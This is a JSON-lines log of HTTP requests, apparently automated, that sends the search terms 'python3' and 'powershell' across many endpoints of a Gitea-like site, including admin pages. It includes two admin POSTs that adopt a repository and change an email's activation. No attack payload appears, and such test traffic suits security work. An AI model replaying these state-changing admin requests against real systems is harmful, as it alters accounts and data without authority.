{"method": "GET", "target": "/issues/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=python3&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/search_candidates?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications/watching?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/teams/-/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/code?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/projects?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=python3&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=python3&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/tags?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestone/1?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/projects?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/packages?q=python3&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/posters?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls/posters?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/orgs?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/emails?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/packages?q=python3&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 52", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=python3&page=1"}
|
||||||
|
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 97", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=python3&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
||||||
|
{"method": "GET", "target": "/explore/topics/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=powershell&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/search_candidates?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications/watching?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
